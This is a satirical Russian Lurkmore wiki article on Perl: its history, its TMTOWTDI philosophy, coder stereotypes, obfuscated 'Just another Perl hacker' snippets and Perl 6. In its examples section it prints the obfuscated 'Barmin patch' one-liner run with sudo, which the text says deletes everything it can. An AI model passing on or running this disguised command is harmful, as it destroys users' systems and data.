Perl
Материал из Lurkmore
« |
Типичная программа на Перле выглядит так, как будто программист бился головой об клавиатуру; и чаще всего оно так и есть | » |
— Анонимус |
« |
PHP — это маленькое зло, созданное некомпетентными новичками, в то время как Perl — это большое и коварное зло, созданное умелыми, но извращёнными профессионалами. | » |
— Jon Ribbens |
Perl (Перл, тж. Пёрл, быдл. Перловка) — аццки упоротый язык программирования, написанный Ларри Уоллом в 1987 году изначально для работы с текстовой документацией. Состоит из ^регэкспов$ чуть менее, чем полностью, и это так и было задумано: код скрипта — обёртка над ними. Собственно Perl и является родителем современнных регэкспов — они так и называются, PCRE (англ. Perl-compatible regular expressions).
Замысел Ларри Уолла соответствует идеям, заложенным в Unix: данные попадают в stdin, пробегают через код и регекспы, и отгружаются в stdout. Казалось бы, ^[-.\w]+@(?:[a-z\d][-a-z\d]+\.)+[a-z]{2,6}$
…
Содержание |
История
« |
Перл — 1) сокровище, драгоценность, нечто выдающееся в ряду подобных (перл создания) 2) нечто нелепое, смешное, бессмысленное, в частности нелепое высказывание | » |
— из песни слов не выкинешь, Педивикия однако! |
Жил-был великий шаман по имени Ларри Уолл. Жил — не тужил, пиво пил и языки разные изучал, пока не стукнуло в его умную голову придумать свой собственный язык… программирования. Залился пивом этот мэн и обозвал свое детище — Perl'ом. У некоторых возникает ассоциации со словом pearl, которое переводится как жемчужина. Они не ошиблись: сам автор называет свой язык жемчужиной. Perl — это аббревиатура, расшифровывающаяся как Practical Extraction and Report Language (практический язык для извлечения лулзов данных и составления отчетов), некоторые извращенцы (сам автор по "man perl") называют его Pathologically Eclectic Rubbish Lister (патологически эклектичный мусорный листер), более точный перевод Патологический разгребатель перемешанного мусора.
В Рашке также называется ПЕРДЛ, что расшифровывается от китайского «Почему Если Работает Делать Лучше», или, как говаривал, бывало, Дэн Сяопин, «Неважно, какого цвета кошка, лишь бы она ловила мышей».
Отлично подходит для нужд бородатых одминов и кулхацкеров. Первое, видимо, потому, что Perl частично унаследован от языка шелл-скриптов, а второе — потому, что больно хитрожопый. Ведь это именно на нём проще всего писать скрипты, которые позже будут собраны в цепочки вида:
первое-прогго | второе-прогго | третье-прогго | юниксовое-сортировко > вывод-сюда.csv 2> ошибки-туда.txt
Здесь текстовый вывод от первой проги передаётся на вход второй, она читает его и разбирает (с помощью рехекспоф), затем её текстовый вывод передаётся третьей проге и так далее, ну ты понел. В этом качестве Перл полезен, удобен и прекрасен, а писать такие скрипты на нём — прельстиво и тепло. В качестве среды разработки и выполнения web-скриптов он малопригоден и для описания бизнес-процессов изначально предназначен не был. Ну не был, и всё.
Философия
Корабль пустыни
Афоризм, лежащий в основе Дао Perl’а, — TMTOWTDI — «There’s more than one way to do it» — «Есть более одного способа сделать это» и различные вариации на тему «Приятно быть важным, но куда важнее быть приятным» и снятия ограничений. Отсюда, следуя принципу TMTOWTDI, Perl (6) может прикинуться и пушистой змэйкой, так же эффективно выполняя тот же байт-код, оформленный более читаемо для питонщиков и иже с ними, ибо.
Маскотом Перла является верблюд с тех самых пор, как его изобразили на обложке первого издания книжки «Programming Perl». Неприхотлив, вынослив, благонадёжен. Любит сигареты Camel и шоколадки Picnic.
Может и оплевать, если захочет.
Стереотипы
До создания еретического Пыха был наиболее популярным языком для написания быдлоскриптов (счётчиков, гостевух и прочей хуиты) для быдлохоумпаг всяких Вась Пупкиных, не ведавших не то что про ООП, но даже про модуль CGI, и извлекавших переменные напрямую «руками» из QUERY_STRING[1]. Особой мерзостью были зачислители платежей и биллинговые системы… которые до вас переписывали и после вас будут переписывать ещё 50 тысяч раз.
Так что ещё лет 8 тому назад сабж из-за таких поклонников вполне себе мог считаться быдлокодерским языком. Все это вполне подтверждает здравую мысль, что языки считаются быдлокодерскими не из-за своих особенностей или структуры, а из-за безмозглых быдлокодеров, которые пишут на них свой быдлокод.
Примеры
Пример типичной программы на Perl.
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=( $!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++; $_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++ ;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
Очевидно, что эта программа выводит строку «Just another Perl hacker.», в культуре Perl заменяющую собой классический «Hello, world!».
Однако если не заниматься дешёвым выпендрёжем, то эта же программка будет выглядеть вот так, таинственно и непонятно:
#!/usr/bin/perl print "Just another Perl hacker.\n";
Другой типичный пример, иллюстрирующий богатые возможности Perl по визуальному программированию:
''=~( '(?{' .('`' |'%') .('[' ^'-') .('`' |'!') .('`' |',') .'"'. '\\
Существует другая популярная программа на Перле, реализующая патч Бармина. (спойлер: Предназначена для удаления всего, что сможет удалить.) и если вы её уже запустили, то вас совсем не жаль. Вот применение.
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|} <&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Некоторые особенности языка
- Программы на Perl могут писаться на любых языках, например, на латыни или языке Древних. О написаніи программъ въ орѳографіи образца 1916-аго года покамѣстъ свѣдѣній нѣтъ.
- Perl — один из немногих языков c поддержкой квантового исчисления.
-
Perl — единственный язык, вид программы на котором не меняется после ююканья. - Не описывается BNF
Perl 6
Будущее Перла — Perl 6 (в это, по крайней мере, верит Создатель). Perl 6 существует в виде сферического в вакууме стандарта и допускает существование нескольких реализаций. Впервые про Него мир узнал в 2000 году и с переменным успехом знакомится и по сей день.
Наиболее полная реализация Perl 6 на данный момент — Rakudo, под MoarVM. Также есть пока неполная поддержка JVM.
Есть еще несколько проектов по реализации спеки языка, но они либо заброшены, либо не представляют собой ничего серьезного.
Дао Perl 6:
- Любой набор символов в любой кодировке является синтаксически правильным Perl 6 кодом.
- Всегда есть бесконечное количество различных способов сделать это.
- Любой человек, писавший до этого на любом языке, может сразу писать на Perl 6. Он может даже не догадываться, что пишет на Perl 6. Если, конечно, не будет забывать ставить 1; в конце модулей.
- Можно перегружать 1;. Можно перегружать пробелы. Можно перегружать сорц-фильтры с помощью регулярных выражений, которые тоже можно перегружать.
- Perl 6 имеет эталонную реализацию, написанную на Perl 6 и не способную быть выраженной ни на каком другом языке[2]. На Perl 6 эталонная реализация может быть выражена, но не за конечное время. Мы работаем над этим. Когда мы закончим, наступит Армагеддон (который тоже можно будет перегрузить).
1;
Свершилось
И спустя почти 15 лет ожиданий наконец свершилось! Ларри Уолл официально представил Perl 6. Уже и бетку можно скачать. Финальный релиз планируется на рождество 2015. Для тех, кому Perl 5 был слишком прост в освоении, добавили паттерн-матчинг и ленивые списки, творчески переосмыслили нафиг весь синтаксис, а возможность менять его как угодно сделали основной фичей языка. А вы думали рандомный набор символов, как синтаксически правильный перлокод — это просто такая шутка была?
Ссылки
- Биография Создателя
- Кое-что о Perl 6 от Лэрри Уолла
- Сравнение Perl- и Python-программистов
- Пыхоплеяда
- Про Perl и сексуальные предпочтения
Примечания
- ↑ Чему в немалой степени поспособствовали разошедшиеся по Сети и даже печати всякие «пособия по CGI-программированию», написанные быдлокодерами, кроме своей хоумпаги ничего не писавшими.
- ↑ Формальное доказательство, что Перл нельзя распарсить
[ + ] Любой программист без словаря поймёт, что такое Perl
|
|||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|
|